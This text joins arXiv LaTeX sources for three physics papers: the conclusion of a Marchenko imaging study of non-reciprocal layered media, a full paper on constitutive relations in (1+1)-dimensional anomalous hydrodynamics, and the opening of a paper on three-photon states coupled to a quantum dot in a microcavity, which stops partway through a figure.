in equations (\ref{eqf1pit}) and (\ref{eqf1paait}) by the time-reversals
$T_{\rm d}({\bf x}_A,{\bf x},-t)$ and $T_{\rm d}^{\rm (c)}({\bf x}_A,{\bf x},-t)$.}
For $t_\epsilon$ in the time windows $w({\bf x}_A,{\bf x}_S,t)$ and $w^{\rm (c)}({\bf x}_A,{\bf x}_S,t)$ we choose half the duration of the symmetric wavelet $S(t)$,
i.e., $t_\epsilon=0.65 \mu$s, and the Heaviside functions are tapered.
Because we consider a laterally invariant medium, the integrals in the right-hand sides of equations
(\ref{eq145twit}), (\ref{eq146twit}), (\ref{eq145ttaait}) and (\ref{eq146btaait}) are efficiently replaced by multiplications in the wavenumber-frequency domain.
In total we apply \rev{20} iterations of the Marchenko scheme to derive the focusing functions
$f_1^\pm({\bf x}_S,{\bf x}_A,t)*S(t)$ and the same number of iterations to derive $f_1^{\pm\rm (c)}({\bf x}_S,{\bf x}_A,t)*S(t)$.
These focusing functions are substituted into equations (\ref{eq146t}) and (\ref{eq145tt})
(of which the integrals are also evaluated via the wavenumber-frequency domain) to obtain the \rev{wave fields} $G^+({\bf x}_A,{\bf x}_S,t)*S(t)$ and $G^-({\bf x}_A,{\bf x}_S,t)*S(t)$.
The superposition of these \rev{wave fields} is shown in grey-level display
in Figure \ref{Fig12} in the form of snapshots (i.e., wave fields at frozen time),
for fixed ${\bf x}_S=(0,0)$ and variable ${\bf x}_A$.
\rev{The amplitudes are clipped at 8$\%$ of the maximum amplitude.}
This figure clearly shows the propagation of the wave field from the source through the layered non-reciprocal medium.
The wavefronts are asymmetric as a result of the non-reciprocal medium parameters
(for a reciprocal medium these snapshots would be symmetric with respect to the vertical dashed lines).
Multiple scattering between the layer interfaces is also clearly visible. The interfaces, indicated by the solid horizontal lines in each of the panels in
Figure \ref{Fig12}, are only shown here to aid the interpretation of the retrieved Green's functions.
However, no explicit information of these interfaces has been used to retrieve these Green's functions; all information about the scattering at the layer interfaces
comes directly from the reflection response $R({\bf x},{\bf x}_S,t)*S(t)$.
The snapshots also exhibit some weak spurious linear events \rev{(indicated by the arrows in Figure \ref{Fig12})}, which are mainly caused by the negligence of
evanescent waves and the absence of very large propagation angles in the reflection response.
\begin{figure}
\centerline{\epsfysize=9 cm \epsfbox{Figure5.pdf}}
\caption{\footnotesize \rev{Downgoing and upgoing wave fields at $x_{3,A}=13$ cm. (a) $G^+(x_1,x_{3,A},x_{3,S},t)*S(t)$, (b) $G^-(x_1,x_{3,A},x_{3,S},t)*S(t)$,
(c) $G^+(s_1,x_{3,A},x_{3,S},\tau)*S(\tau)$, (d) $G^-(s_1,x_{3,A},x_{3,S},\tau)*S(\tau)$}.}
\label{Fig213}
\end{figure}
\begin{figure}
\centerline{\epsfysize=9 cm \epsfbox{Figure6.pdf}}
\caption{\footnotesize \rev{Images in the $(s_1,x_3)$-domain of the layered medium of Figure \ref{Fig11}.
(a) Marchenko imaging, accounting for non-reciprocity. (b) Reference reflectivity.
(c) Primary imaging, ignoring non-reciprocity. (d) Primary imaging, accounting for non-reciprocity. }}
\label{Fig214}
\end{figure}
Next, we image the interfaces of the layered medium, \rev{following the approach for a laterally invariant medium described at the end of the previous section.
Figures \ref{Fig213}a,b show the downgoing and upgoing wave fields $G^+(x_1,x_{3,A},x_{3,S},t)*S(t)$ and $G^-(x_1,x_{3,A},x_{3,S},t)*S(t)$, respectively, for
$x_{3,A}=13$ cm (the depth of the horizontal dotted lines in Figure \ref{Fig12}). The horizontal dotted lines in Figures \ref{Fig213}a,b indicate the times of the snapshots
in Figure \ref{Fig12}. Figures \ref{Fig213}c,d show the downgoing and upgoing wave fields $G^+(s_1,x_{3,A},x_{3,S},\tau)*S(\tau)$ and $G^-(s_1,x_{3,A},x_{3,S},\tau)*S(\tau)$, respectively,
for a range of horizontal slownesses $s_1$. From these wave fields we derive the reflection response $R(s_1,x_{3,A},\tau)$ by inverting
equation (\ref{eq47}) for each horizontal slowness $s_1$. The image at $x_{3,A}$ is obtained as $R(s_1,x_{3,A},\tau=0)$. We repeat this for all $x_{3,A}$ between 0 and 25 cm, in steps of 0.25 mm. The result is shown in Figure
\ref{Fig214}a. This figure clearly shows images of the three interfaces in Figure \ref{Fig11}. For comparison, Figure \ref{Fig214}b shows, as a reference, the true reflectivity.
The relative amplitude errors of the imaged interfaces are between 0.5$\%$ and 2$\%$, except for slownesses $|s_1|>0.2$ ms/m, close to the evanescent field.
Figure \ref{Fig214}c shows the result of standard primary imaging, ignoring non-reciprocity. The trace at $s_1=0$
contains images of the three interfaces at the correct depths, but it also contains false images caused by the internal multiples. Moreover, the traces
for $s_1\ne 0$ contain images at wrong depths only. Finally, Figure \ref{Fig214}d is the result of primary imaging, taking non-reciprocity into account (by applying one iteration
with our method). The three interfaces are imaged at the correct depths for all horizontal slownesses, but the false images are not suppressed.}
\section{Conclusions}
Marchenko imaging has recently been introduced as a novel approach to account for multiple scattering in multidimensional acoustic and electromagnetic imaging.
Given the recent interest in non-reciprocal materials, here we have extended the Marchenko approach for non-reciprocal media.
We have derived two iterative Marchenko schemes, one to retrieve focusing functions in
a truncated version of the actual medium and one to retrieve these functions in a truncated version of the \rev{complementary} medium.
Both schemes use the reflection response of the actual medium as input, plus estimates of the direct arrivals of the transmission response of the truncated actual medium (for the
first scheme) and of the truncated \rev{complementary} medium (for the second scheme). We have derived Green's function representations, which express the downgoing and upgoing part of
the Green's function inside the non-reciprocal medium, in terms of the reflection response at the surface of the actual medium and the focusing functions in the truncated
actual and \rev{complementary} medium. From these downgoing and upgoing Green's functions, a reflectivity image of the medium can be obtained.
We have illustrated the proposed approach at the hand of a numerical example for a horizontally layered non-reciprocal medium.
This example shows an accurate \rev{wave field}, propagating through the medium and scattering at its interfaces, retrieved from the reflection response at the surface.
Moreover, it shows an accurately obtained artefact-free reflectivity image of the non-reciprocal medium, which confirms that the proposed method properly
handles internal multiple scattering in a non-reciprocal medium.
\section*{Acknowledgements}
We thank \rev{our colleague} Evert Slob for his advise about electromagnetic waves in non-reciprocal media
\rev{and reviewers Patrick Elison and Ivan Vasconcelos for their constructive comments, which helped to improve the paper.}
This work has received funding from the European Union's Horizon 2020 research and innovation programme: European Research Council (grant agreement 742703) and
Marie Sk\l odowska-Curie (grant agreement 641943).
|
1,477,468,750,024 | arxiv | \section*{•}
The study of hydrodynamics\cite{Landau} in the presence of gauge and gravitational anomalies has recently received considerable attention\cite{Sonsuro:2009}-\cite{Bibhas:2013}. An important aspect of this study is the obtention of constitutive relations that express the stress tensor and gauge current in terms of the fluid variables like fluid velocity, chemical potential and temperature. These relations, in the absence of a gauge field, were obtained earlier by the hydrodynamic expansion approach\cite{Jains:2013,Jensen:2012kj} as well as other approaches\cite{Banerjee:2013qha,Banerjee:psba,Bibhas:2013}. Likewise, connections between the anomaly coefficients
and certain parameters appearing in the constitutive relations were also found.
In the presence of gauge fields, however, the above analysis becomes quite non-trivial. Even in $(1+1)$ dimensions, general closed form expressions for the constitutive relations or the connections between the response parameters and the anomaly coefficients have not been presented in the literature.
The present paper precisely addresses this issue. Deviating from the usual gradient expansion technique we exploit the exact form of the $(1+1)$ dimensional effective action that is given in the literature\cite{Polyakov:1981rd,Leut:1985}. This exact result is a consequence of the conformal flatness of the two dimensional metric. From this result the stress tensor and the current are obtained by taking appropriate functional derivatives. It is then possible to express these relations in terms of fluid variables thereby yielding our cherished constitutive relations. These relations involve certain constants which are the integration constants appearing in the solutions of differential equations. They may be fixed by choosing an appropriate boundary condition that will be discussed later on. Finally, we compare our results with the gradient expansion approach. This helps in obtaining the connection between response parameters and anomaly coefficients in the presence of both gauge and gravitational anomalies.
\section*{•}
Consider a $(1+1)$ dimensional static background metric\cite{Banerjee:2013qha}:
\begin{eqnarray}
\label{met}
ds^2=-e^{2\sigma(r)}dt^2 +g_{11}dr^2,
\end{eqnarray}
It has a timelike Killing vector and the Killing horizon is given by the solution of the equation $e^{2\sigma}|_{r_0}=0$.
The U(1) gauge field in $(1+1)$ dimension is given by
\begin{eqnarray}
\label{gf}
A_a= \left(A_t(r),0\right)
\end{eqnarray}
The chemical potential is defined in this way
\begin{eqnarray}
\label{chem}
\mu =A_t(r) e^{-\sigma}.
\end{eqnarray}
It is convenient to present the analysis in the null coordinates $(u, v)$ which are defined in terms of (t,r) coordinates as,
\begin{eqnarray}
\label{tor}
u=t-r_*,~~~~v=t+r_*,
\end{eqnarray}
where $r_*$ is the tortoise coordinate given by $dr_*=-e^{-\sigma}g_{11}dr$. In this coordinate system the metric takes the following off-diagonal form:
\begin{eqnarray}
\label{uv}
ds^2= -e^{2\sigma}\left(dudv+dvdu\right).
\end{eqnarray}
In order to express the energy momentum tensor and gauge current we introduce the fluid variables. The chemical potential has already been defined in (\ref{chem}). The comoving velocity $u_a$ must satisfy the time-like condition $u^au_a=-1$. Under the background (\ref{uv}) we choose the familiar ansatz\cite{Banerjee:2012iz} that is compatible with this normalisation condition. It is given by,
\begin{eqnarray}
\label{ua}
u_a= -\frac{e^\sigma}{2}(1,1),~~~u^a=e^{-\sigma}(1,1).
\end{eqnarray}
The velocity dual to $u_a$ is $\tilde{u}_a=\bar{\epsilon}_{ab}u^b$ where $\bar{\epsilon}_{ab}$ is the antisymmetric tensor with $\bar{\epsilon}^{ab}=\frac{\epsilon^{ab}}{\sqrt{-g}}$ and $\bar{\epsilon}_{ab}=\sqrt{-g}\epsilon_{ab}$.Here $\epsilon_{ab}$ is the numerical antisymmetric tensor. In null coordinates these expressions are given by,
\begin{eqnarray}
\label{udual}
\epsilon_{uv}=1,~~\epsilon^{uv}=-1,~~~~ \tilde{u}_a=\frac{e^\sigma}{2}(1,-1),~~\tilde{u}^a=e^{-\sigma}(1,-1).
\end{eqnarray}
Finally, the fluid temperature T is given in terms of the equilibrium temperature $T_0$ by the Tolman relation\cite{Tolman} $T=T_0 e^{-\sigma}$.
In order to find the constitutive relations in anomalous hydrodynamics it is first necessary to give the expressions for these anomalies. An anomaly is a breakdown of some classical symmetry upon quantization. Breakdown of diffeomorphism symmetry yields the non-conservation of energy momentum tensor, whereas, trace anomaly is the manifestation of breakdown of conformal invariance upon quantisation. A violation of gauge symmetry is revealed by a non-conservation of the gauge current (gauge anomaly) or, alternatively, by the presence of anomalous terms in the algebra of currents. These anomalous terms are related to the gauge anomaly.
The general expressions for the diffeomorphism anomaly, trace anomaly and gauge anomaly, relevant for the present paper, are as follows\cite{Bardeen:1984pm}-\cite{Banerjee:vac},
\begin{eqnarray}
\label{anomaly1}
{\nabla}_{b}T^{ab}&=&F^{a}_{b} J^{b}+ C_g {\bar{\epsilon}}^{ab}{\nabla}_{b} R,
\end{eqnarray}
\begin{eqnarray}
\label{wi2}
{T}^{a}_{a}&=&C_w R,
\end{eqnarray}
\begin{eqnarray}
\label{wi3}
{\nabla}_{a} J^{a}&=& C_s {\bar{\epsilon}}^{ab}F_{ab}.
\end{eqnarray}
Here $C_g$, $C_w$, and $C_s$ are the coefficients of the respective anomalies. All these expressions are covariant and are hence termed as the covariant anomalies.
The first term on the r.h.s of (\ref{anomaly1}) is the usual Lorentz force term whereas the other piece gives the gravitational anomaly in terms of the Ricci scalar. It may be observed that the structures of the anomalous Ward identities follow from dimensional considerations and covariant transformation properties. No other input is necessary.
A possible way to obtain the constitutive relations expressing the stress tensor and current in terms of the fluid variables would be to solve the above Ward identities. This is however, an elaborate program. We take advantage of the fact that, due to the conformal flatness of the two dimensional metric,the effective action itself is exactly solvable. Then, by suitable variations of the effective action with respect to the gauge field and the metric, the current and the stress tensor may be determined and eventually recast in terms of the fluid variables. By exploiting our earlier results\cite{Banerjee:psba}, we are able to write the explicit forms for $T_{ab}$ and $J_a$,
\begin{eqnarray}
\label{chi2}
&T_{ab} = \left[C_1T^2-C_w \left(u^c \nabla^d \nabla_d u_c \right)+ \mu^2\left(\frac{1}{2\pi}-C_s\right)\right]g_{ab}
\nonumber
\\
&+\left[2C_w\left(u^c \nabla^d - u^d\nabla^c\right)\nabla_c u_d + 2C_1T^2 + 2\mu^2 \left(\frac{1}{2\pi}-C_s\right)\right]
{u}_a{u}_b
\nonumber
\\
&-\left[2C_g\left(u^c \nabla^d - u^d\nabla^c \right)\nabla_c u_d + C_2T^2+C_s\mu^2\right]\left({u}_a\tilde{u}_b+\tilde{u}_a
{u}_b\right)
\\
\nonumber
&+ \left\lbrace\left(\frac{C}{\pi}-2(C+P)C_s\right)\frac{T}{T_0}\mu
+\left(\frac{C^2+P^2}{2\pi}-C_s(C+P)^2\right)\frac{T^2}{{T_0}^2}\right\rbrace \left(2u_au_b+g_{ab}\right)
\\
\nonumber
&+\left\lbrace\left(\frac{P}{\pi}-2(C+P)C_s\right)\frac{T}{T_0}\mu +\left(\frac{CP}{\pi}-C_s(C+P)^2\right)\frac{T^2}{{T_0}^2}\right\rbrace \left({u}_a\tilde{u}_b+\tilde{u}_au_b\right)
\end{eqnarray}
\begin{eqnarray}
\label{current}
J_a=-2C_s \mu \left(u_a+\tilde{u}_a\right)+\frac{\mu}{\pi}u_a + \left(\frac{C}{\pi}-2(C+P)C_s\right)\frac{T}{T_0} u_a + \left(\frac{P}{\pi}-2(C+P)C_s\right)\frac{T}{T_0} \tilde{u}_a,
\end{eqnarray}
where $C_1$, $C_2$, P and C are arbitrary constants that appear in the solution of the effective action. Incidentally, the nonlocal form of the effective action is converted into a local form by introducing extra auxiliary fields that satisfy certain differential equations. These arbitrary constants are the integration constants related to the solutions of the differential equations\cite{Banerjee:psba}.
At this juncture, it is useful to illustrate the compatibility of the constitutive relations(\ref{chi2},\ref{current}) with the Ward identities
(\ref{anomaly1},\ref{wi2},\ref{wi3}). Using,
\begin{eqnarray}
\nabla^a(\mu u_a)=0,~~~~~\nabla^a(\mu \tilde{u}_a)=\frac{-1}{2} \bar{\epsilon}^{ab}F_{ab}.
\end{eqnarray}
the Ward identity(\ref{wi3}) for the current is easily obtained from(\ref{current}). Similarly, using the relation,
\begin{eqnarray}
R=-2 u^a\nabla^b\nabla_au_b.
\end{eqnarray}
the trace anomaly(\ref{wi2}) easily follows from(\ref{chi2}).
Finally, exploiting the identities,
\begin{eqnarray}
\nabla^a \mu + \mu u^b\nabla_b u^a&=& F^{ab} u_b
\\
\nonumber
\nabla^a\left[e^{-2\sigma}\left(2u_au_b+g_{ab}\right)\right]&=&\nabla^a\left[
e^{-2\sigma} \left({u}_a\tilde{u}_b+\tilde{u}_au_b\right)\right]=0.
\end{eqnarray}
and after some algebra, the Ward identity (\ref{anomaly1}) is reproduced.
We now choose a boundary condition to fix the arbitrary constants. It may be recalled that, in the absence of a gauge field, the $Israel~Hawking~Hartle$ type of boundary condition\cite{Bibhas:2013} reproduced the results obtained by the hydrodynamic expansion\cite{Jensen:2012kj}. This vacuum required that the stress tensor or the current in Kruskal coordinates corresponding to both the outgoing and ingoing modes must be regular near the horizon. It is thus essential to choose $J_u\rightarrow 0$, $J_v\rightarrow 0$, $T_{uu}\rightarrow 0$ and $T_{vv}\rightarrow 0$ near the horizon. To implement these features, the metric (\ref{met}) is considered to be a solution of the Einstein equation. Also, since it is static, event and Killing horizons will coincide\cite{carter} to give the condition $\frac{1}{g_{11}}= e^{2\sigma}|_{r_0}=0$, where $r=r_0$ is the location of the horizon. The constants C and P pertaining to the gauge sector are explicitly determined by enforcing $J_u|_{r_0}=J_v|_{r_0}\rightarrow 0$ to yield,
\begin{eqnarray}
\label{jujv}
P-C=A_t(r_0)=\mu e^{\sigma}|_{r_0}=0,~~ for~~J_u\rightarrow0
\\
\nonumber
P+C=-A_t(r_0)=-\mu e^{\sigma}|_{r_0}=0,~~ for~~ J_v\rightarrow0.
\end{eqnarray}
The trivial solution is $P=C=0$. Once C and P have been fixed, the constants $C_1$ and $C_2$ relevant for the gravitational sector may be similarly obtained. The result is\cite{Bibhas:2013},
\begin{eqnarray}
\label{c1c2}
C_1=4\pi^2C_w,~~~~C_2=8\pi^2C_g.
\end{eqnarray}
The energy momentum tensor(\ref{chi2}) and gauge current(\ref{current}) after enforcing the constants (\ref{jujv},\ref{c1c2}) are expressed as,\begin{eqnarray}
\label{tab}
&T_{ab} = \left[4\pi^2C_wT^2-C_w \left(u^c \nabla^d \nabla_d u_c \right)+ \mu^2\left(\frac{1}{2\pi}-C_s\right)\right]g_{ab}
\nonumber
\\
&+\left[2C_w\left(u^c \nabla^d - u^d\nabla^c\right)\nabla_c u_d + 8\pi^2C_wT^2 + 2\mu^2 \left(\frac{1}{2\pi}-C_s\right)\right]
{u}_a{u}_b
\nonumber
\\
&-\left[2C_g\left(u^c \nabla^d - u^d\nabla^c \right)\nabla_c u_d + 8\pi^2C_gT^2+C_s\mu^2\right]\left({u}_a\tilde{u}_b+\tilde{u}_a
{u}_b\right)
\end{eqnarray}
\begin{eqnarray}
\label{ja}
&J_a=-2C_s\mu \left(u_a+\tilde{u}_a\right)+\frac{\mu}{\pi}u_a
\end{eqnarray}
These constitutive relations are new findings. In the absence of the gauge fields there exists only the first relation (\ref{tab}) with $\mu=0$. It correctly reproduces earlier findings in the literature\cite{Jains:2013,Jensen:2012kj,Bibhas:2013}.
It is now possible to compare our results with the gradient expansion approach\cite{Jensen:2012kj}. This will also immediately fix the response parameters. It is pertinent to point out that one of these parameters in the presence of the U(1) gauge field could not be fixed by the gradient expansion approach. This was one of the reasons that constitutive relations could not be completely determined in that approach. Since these relations have now been obtained in (\ref{tab},\ref{ja}), it is possible, by a comparison, to fix the response parameters.
In the derivative expansion approach, the covariant gauge current is expressed as\cite{Jensen:2012kj},
\begin{eqnarray}
\label{jajnsn}
J_a = -2C_s\mu \tilde{u}_a+{\left(\frac{{\partial}P}{{\partial}\mu}- \frac{{a_2}{'}}{T^2}S_2+\frac{4a_2}{T}S_4\right)} u_a
\end{eqnarray}
where,
\begin{eqnarray}
\label{p}
P=T^2p_0(\frac{\mu}{T})
\end{eqnarray}
and $S_2$, $S_4$ are some combinations of the gauge field that occur in the second order expansion. The coefficient $a_2$ (as well as its derivative ${a_2}{'}$) and the response parameter $p_0$ are undetermined functions of ${(\frac{\mu}{T})}$.
Comparing(\ref{jajnsn},\ref{p}) with(\ref{ja}), it is found that,
\begin{eqnarray}
\label{comj}
&&\frac{\partial P}{\partial\mu}=T^2\frac{\partial p_0}{\partial\mu}=\left(-2C_s+\frac{1}{\pi} \right)\mu
\nonumber
\\
&&a_2={a_2}{'}=0.
\end{eqnarray}
leading to the solution,
\begin{eqnarray}
\label{po2}
p_0=\left(\frac{1}{2\pi}-C_s\right)\frac{\mu^2}{T^2}+ Q
\end{eqnarray}
where Q is an integration constant which is determined subsequently by comparing expressions for $T_{ab}$ in the gradient expansion approach, as given in\cite{Jensen:2012kj}, subjected to the relations(\ref{comj}), with (\ref{tab}). The result in the gradient expansion approach simplifies to,
\begin{eqnarray}
\label{tab2}
&T_{ab} = \left(p_0T^2-C_w u^c \nabla^d \nabla_d u_c \right)g_{ab}
+\left[2C_w\left(u^c \nabla^d - u^d\nabla^c\right)\nabla_c u_d + 2p_0T^2\right]
{u}_a{u}_b
\\
\nonumber
&-\left[2C_g\left(u^c \nabla^d - u^d\nabla^c \right)\nabla_c u_d-\bar{C_{2d}}T^2+C_s{\mu}^2\right]\left({u}_a\tilde{u}_b+\tilde{u}_a
{u}_b\right)
\end{eqnarray}
Now comparing (\ref{po2}) and (\ref{tab2}) with (\ref{tab}) immediately yields,
\begin{eqnarray}
\label{p0c2d}
p_0=4\pi^2C_w+(\frac{1}{2\pi}-C_s)\frac{\mu^2}{T^2}
\end{eqnarray}
\begin{eqnarray}
\label{p0c2d1}
\bar{C}_{2d}=-8\pi^2C_g
\end{eqnarray}
The relation (\ref{p0c2d}) is a new finding. In the absence of gauge field($\mu=0$), it reproduces earlier results\cite{Banerjee:psba}. Also, as claimed in\cite{Jensen:2012kj}, the relation (\ref{p0c2d1}) does not incur any correction in the presence of the gauge field.
Let us summarise our findings. We have constructed the constitutive relations for the stress tensor and gauge current in $(1+1)$ dimensional hydrodynamics in the presence of gauge, conformal and gravitational anomalies. Also, we were able to provide relations connecting the anomaly coefficients with certain response parameters. Both these results are new findings. As a consistency check we reproduced the known expressions in the absence of the gauge field.
A standard approach in the context of anomalous hydrodynamics is the derivative expansion method. While such an approach seems mandatory in higher (greater than $(1+1)$) dimensions, the same is not true for the $(1+1)$ dimensional example. This is due to the conformal flatness of the metric which leads to an exact expression for the effective action. From this expression both the stress tensor and the gauge current may be exactly evaluated by taking appropriate functional derivatives. We take recourse to such an approach, more so because in the presence of gauge fields the hydrodynamic expansion is laced with great difficulties.
By exploiting our previous results\cite{Banerjee:2013qha, Banerjee:psba} we succeeded in obtaining the cherished constitutive relations. The compatibility of these relations with the anomalous Ward identities was explicitly demonstrated.
The constitutive relations involved several constants that were an outcome of the solutions of differential equations. By choosing the $Israel~Hartle ~Hawking$ boundary condition, all these constants were determined. The efficacy of this boundary condition was earlier discussed\cite{Bibhas:2013} in the absence of gauge fields and led to results that were identical with the hydrodynamic expansion technique. Incidentally, as shown in \cite{Bibhas:2013}, the method of imposing the boundary condition was similar to the derivation of the Cardy formula. It was reassuring to note that the same boundary condition provided consistent results in the presence of both gauge and gravitational fields. This consistency was linked to the fact that our results could be satisfactorily matched with those found by the hydrodynamic expansion by providing additional inputs, namely, the connection of response parameters with anomaly coefficients(\ref{p0c2d},\ref{p0c2d1}) and the identification of certain variables (\ref{comj}). Indeed, it was because of this lack of information that the hydrodynamic expansion was unable to yield constitutive relations in the presence of the gauge anomalies.
As a final remark we note that the choice of the vacuum appears to play a significant role in anomalous fluid dynamics.To what extent this role will exist in higher dimensions is a question for the future.
\section*{Acknowledgement}
One of the authors S.D would like to thank Dr. Bibhas Ranjan Majhi for some useful discussion.
|
1,477,468,750,025 | arxiv | \section{Introduction}\label{sec:01}
The light-matter interaction in quantum dots embedded in semiconductor microcavities is an area that has been studied widely in the last few years \cite{Tejedor-2004, Vinck-2005, Yamamoto-2000, Haroche-2007}. Moreover, the experimental realization of this kind of physical system has brought new phenomenology, such as emitters of single photons or bundles of them \cite{Bundler-2014}, and sources of entangled quantum states \cite{Yamamoto-2002, Yamamoto-2003, Pelton-2003}.
On the other hand, the generation of Fock states containing $n$ photons has been one of the most interesting research areas, since its applications are useful for quantum communication and quantum computation \cite{Kiesel-2003}. In particular, generation of Fock states containing three photons may be obtained by means of a process known as \textit{ spontaneous parametric down conversion (SPDC)} \cite{Douady-2004, Corona-2011, Gravier-2008, Richard-2011, Dot-2012}, or by means of optic nonlinearities both in self assembled \cite{Persson-2004, Antonosyan-2011, Rodrigo-2011, Lopez-2014} and in organic systems \cite{May-2005}.
Previously, we have shown that a three photon state may be prepared in a semiconductor microcavity \cite{Lopez-2014}. As a consequence, in this paper we study the dynamics of a three-photon state interacting with a quantum dot inside a semiconductor microcavity, focusing on two particular cases: (a) an ideal cavity, in which we neglect all the incoherent processes that could perturb the system, and (b) a real cavity, in which we study the effects of the environment over the three-photon state.
To characterized the state of the system, we study the entanglement between the three photon state and the quantum dot as a function of time, by means of both the negativity and linear entropy. Moreover, we study the state of light using the Wigner representation, which to some extent gives us a qualitatively information of the state's density operator.
The rest of the article is organized as follows: in section \ref{sec:02}, we describe the theoretical model to describe and characterize the quantum state as well as its dynamics. Then, in the section \ref{sec:03} we justify the range of parameters used to compute the results and proceed to present and discuss the results. Finally, in the section \ref{sec:04} we provide an overview of the results and conclude.
\section{Theoretical Model}\label{sec:02}
The system under consideration is composed by a quantum dot interacting with a three photon state of light inside a semiconductor microcavity. In the theoretical model used, we consider that most of the the electronic levels of the quantum dot are off-resonant with the electromagnetic mode, so the energy structure of the quantum dot may be reduced to two levels: its ground state and an excited state. Moreover, the three photon state is introduced into the cavity by processes of incoherent excitation pumping as well as incoherent photon leakage.
The state considered in this paper is a quantum state made of the superposition of Fock states containing $3n$ photons. In general, this sort of states may be written in the following way:
\begin{equation}\label{Estella-general}
\ket{*}=c_0 \ket{0} + c_1 \ket{3} + \cdots + c_{n} \ket{3n}.
\end{equation}
Nevertheless, we constraint our study to the first two terms in the previous equation (\ref{Estella-general}):
\begin{equation}\label{Estella}
\ket{*}=\beta \ket{0} + \sqrt{1-|\beta |^2}\ket{3},
\end{equation}
where $\beta$ is a free parameter characterizing the state, and its a complex number. The amplitude and phase of the parameter are associated to the shape and orientation of the Wigner representation of the state in the phase space.
\subsection{Description of the Hamiltonian}
The interaction between a mode of the electromagnetic field and a two-level system is described by the Jaynes-Cummings model \cite{JCModel}. The Hamiltonian used to described our system is (we take $\hbar=1$ along the paper):
\begin{equation}\label{Hamiltoniano}
H=\omega_a a^{\dagger} a+\omega_{\sigma} \sigma^{\dagger}\sigma + g \left( a^{\dagger}\sigma+a \sigma^{\dagger} \right).
\end{equation}
Here $\omega_a$ and $\omega_{\sigma}$ are the electromagnetic mode frequency and transition frequency of the two-level system, respectively.
Furthermore, we have introduce the ladder operators for both the two-level system ($\sigma$ and $\sigma^{\dagger}$) and the electromagnetic field ($a$ and $a^{\dagger}$). The former follows the Fermi statistics and describes the transitions between the base and excited state of the two-level system, whereas the latter describes the usual boson creation and annihilation processes.
At last, the third term in eq. (\ref{Hamiltoniano}) describes the interaction between the quantum dot and the electromagnetic field, where $g$ is the dipole coupling constant.
\subsection{Master equation}
The temporal evolution of the system is described by the master equation in the Lindblad form:
\begin{multline}\label{Ec. Maestra}
\dot{\rho}=i \left[\rho , H\right]+\frac{P}{2}\left(2\sigma^{\dagger}\rho\sigma -\sigma\sigma^{\dagger}\rho -\rho\sigma\sigma^{\dagger}\right)\\ + \frac{\kappa}{2}\left(2a \rho a^{\dagger} -a^{\dagger}a\rho -\rho a^{\dagger}a\right),
\end{multline}
Here, the first term correspond to the dynamics in an ideal cavity (without incoherent processes, or losses of any kind), and $H$ is the Hamiltonian given in eq. (\ref{Hamiltoniano}). The second term describes an off-resonant pumping of excitation, and the last term takes into account the cavity losses.
The parameters $P$ and $\kappa$ are the rate at which the two-level system has a transition from its base state towards its excited state, and the rate at which the cavity losses one photon, respectively.
\subsection{Measurement of the entanglement}
We study the entanglement between the three-photon state and the quantum dot using the \textit{negativity} and the \textit{linear entropy}. The former was proposed in \cite{Negat}, and is based on the Peres' criteria \cite{Peres-1996}, which proved the required conditions that any density operator should satisfy in order to be separable. Later on, Horodecki {\it et al.} showed that the Peres' criteria was a sufficient condition for separability in systems whose Hilbert space has dimensions either $2\otimes2$ or $2\otimes3$ \cite{Horodecki-1996}. Otherwise, the negativity fails to quantify the entanglement, but allows us to witness it (the negativity tells us that the system is entangled, but does not tells us \textit{how much} entanglement there is).
The negativity is computed in the following way,
\begin{equation}\label{negatividad-def}
N\left (\rho\right )\equiv\frac{\Vert \rho^{T_1}\Vert-1}{2},
\end{equation}
where $\Vert \rho^{T_1}\Vert$ is the trace norm of the density operator $\rho^{T_1}$, which is the result of the partial transposition of the subsystem 1 in the density operator $\rho$.
On the other hand, the linear entropy has been studied in systems composed of two qubits, and has proven to be a good entanglement quantifier \cite{Faruya-1998, Bose-2000, Munro-2001}. Nevertheless, when considering dissipative processes into the system's dynamics, the linear entropy behaves as a witness and no longer quantifies the entanglement.
The linear entropy is defined as follows,
\begin{equation}\label{Entropia-def}
\delta \left (\rho\right ) \equiv 1- \text{Tr}_2 \left (\rho_2^2\right ),
\end{equation}
where $\text{Tr}_i$ is the partial trace over the subsystem $i$ and $\rho_2$ is the reduced density operator, which is the result of tracing out the subsystem 1 from the system's density operator; that is,
\begin{equation}
\rho_2 = \text{Tr}_1 \left (\rho\right ).
\end{equation}
\subsection{The Wigner representation}
The Wigner representation allows us to establish qualitatively whether a state is quantum or not. The Wigner representation in the phase space is positive-definite for classical states, so that negative values of the Wigner function are indicators of quantumness of the states. Furthermore, if the state under consideration in a superposition of other states, then the Wigner representation allows to observe the interference between those states, and if any of the state's quadrature is squeezed \cite{Davidovich-1997, Gerry-book, Barnett-book}.
The Wigner representation is defined as,
\begin{equation}
W\left (\alpha \right )=2\, Tr \left [ D^{-1}\left (\alpha\right )\rho D \left (\alpha\right ) \mathcal{P} \right ],
\end{equation}
where $D\left (\alpha\right )$ is the displacement operator, $\alpha = x + i p$ with $x$ and $p$ the phase space axis, $\rho$ is the density operator describing the state under study, and $\mathcal{P}= \exp \left (i \pi a^{\dagger}a \right )$ is the parity operator.
\section{Results and Discussion}\label{sec:03}
\begin{figure*}
\begin{minipage}{0.46\textwidth}
\includegraphics[width=0.98\textwidth]{Beta-base.pdf}
\end{minipage}
\begin{minipage}{0.17\textwidth}
\includegraphics[width=0.98\textwidth]{Estrella-t0-base.pdf}\\
\includegraphics[width=0.98\textwidth]{Pob-t0-base.pdf}
\begin{small}
\begin{center}
$t=0\,ps$
\end{center}
\end{small}
\end{minipage}
\ \hfill
\begin{minipage}{0.17\textwidth}
\includegraphics[width=0.98\textwidth]{Estrella-t1-base.pdf}\\
\includegraphics[width=0.98\textwidth]{Pob-t1-base.pdf}
\begin{small}
\begin{center}
$t=90\,ps$
\end{center}
\end{small}
\end{minipage}
\ \hfill
\begin{minipage}{0.17\textwidth}
\includegraphics[width=0.98\textwidth]{Estrella-t2-base.pdf}\\
\includegraphics[width=0.98\textwidth]{Pob-t2-base.pdf}
\begin{small}
\begin{center}
$t=180\,ps$
\end{center}
\end{small}
\end{minipage}
\caption{\label{fig:beta(t)-base} In the left panel we present the temporal evolution of the parameter $\beta$ for the quantum dot initially in its ground state. A series of resonances may be seen, which are equally apart in time, and coincide with the time intervals in which the light state is the one given by eq. (\ref{Estella}). In the right panel we present the Wigner function and the population of the light's density operator, which verify the periodicity of the system's temporal evolution. In this case, the dipole coupling energy is $g=10$ ps$^{-1}$, and the temporal period is approximately $180$ ps.}
\end{figure*}
\begin{figure*}
\begin{minipage}{0.46\textwidth}
